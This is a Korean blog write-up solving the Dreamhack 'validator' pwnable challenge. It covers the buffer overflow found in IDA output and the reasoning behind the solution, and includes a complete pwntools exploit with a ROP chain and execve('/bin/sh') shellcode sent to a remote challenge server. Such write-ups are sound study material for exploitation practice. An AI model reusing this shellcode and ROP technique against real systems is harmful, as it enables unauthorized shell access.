Level 2라 걱정됐는데 난이도 자체는 그리 높지 않았다. IDA를 사용해 풀어야 하는 문제
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [rbp-80h] , No Canary
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL); // BOF 가능
validate(s, 128LL);
return 0;
}
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
// 전역변수 correct에는 "DREAMHACK!\x00" 저장되어있음, 0x601040
if ( *(_BYTE *)((a1+i) != correct[i] )
exit(0);
}
for ( i = 11; i < a2 ; ++i )
{
// a1[11] ~ a1[128]로 갈수록 각 바이트 1씩 줄어들어야 함
if ( *(unsigned __int8 *)(a1+i) != *(char *)(a1+i+1) + 1 )
exit(0);
}
return 0LL;
}
BOF 취약점이 존재하고, 첫 129바이트만 조건에 맞추면 그 뒤로는 자유롭게 exploit 가능
시도1. libc_base leak해서 ROP로 system("/bin/sh") 혹은 execve("/bin/sh", 0, 0)
- plt table 확인해보니 사용가능한 함수가 memset,read,validate 뿐
- 출력함수가 없으므로 libc_base leak 불가능, 당연히 system이나 "/bin/sh" 문자열 주소도 알 수 없음
시도2. got에 담긴 주소 partial overwrite / "/bin/sh"는 buf에 넣어두고 ret2main
- 함수 간 offset 커서 마지막 2바이트 덮는다고 해결되지 않더라
- SFP도 덮이므로 ret2main 해도 RBP가 변조됨
힌트에서 "서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다." => 그러면 DATA 영역에서 쉘코드 실행 가능한거 아닌가??
또 pop rdx 가젯은 일반적인 바이너리에서 찾기 어렵고 libc의 코드 가젯에서 찾아야하는데, 여기서는 의도적으로 넣어줬다. 인자 3개짜리 ROP가 의도된 풀이인거지
그럼 read@plt 및 각종 가젯들을 사용하여
DATA 영역에 쉘코드 작성 후 그쪽으로 rip 옮기면 되겠다
pwndbg로 확인해보니 0x601050 부터 NULL Padding => 여기에 쉘코드 삽입 후 실행 흐름 옮기자
from pwn import *
# p = process("./validator_server")
p = remote("host3.dreamhack.games", 10527)
# gadgets & data
read_plt = 0x400470
prdi_r = 0x00000000004006f3
prsir15_r = 0x00000000004006f1
prdx_r = 0x40057b
writable_address = 0x601050
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = b"DREAMHACK!" + b"A" # s[0] ~ s[9], s[10]
for i in range(118):
payload += bytes([255-i]) # s[11] ~ s[128]
payload += b'B'*0x7 # SFP
# read(0, writable_address, 0x20)
payload += p64(prdi_r) + p64(0) + p64(prsir15_r) + p64(writable_address) + p64(0) + p64(prdx_r) + p64(0x20) + p64(read_plt)
payload += p64(writable_address)
p.send(payload)
p.send(shellcode)
p.interactive()
아직 해결 안 된 문제?
1. 로컬에서 test할 때 ./validator_server로 하면 되는데 ./validator_dist 하면 payload 보낼 시 exit code 0으로 프로그램 종료됨. ROP chain에 의해 read@plt 호출되지도 않음. why?? stripped not-stripped 차이뿐인데
2. ./validator_server로는 왜 쉘코드가 잘 실행되는거지 해당영역 rw-인데??
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] seccomp (0) | 2023.06.18 |
---|---|
[Dreamhack Wargame] Bypass SECCOMP-1 (0) | 2023.06.18 |
pwn 강좌 메모 (0) | 2023.06.15 |
[Dreamhack Wargame] Cat-Jump (0) | 2023.06.15 |
[Dreamhack Wargame] STB-lsExecutor (0) | 2023.06.15 |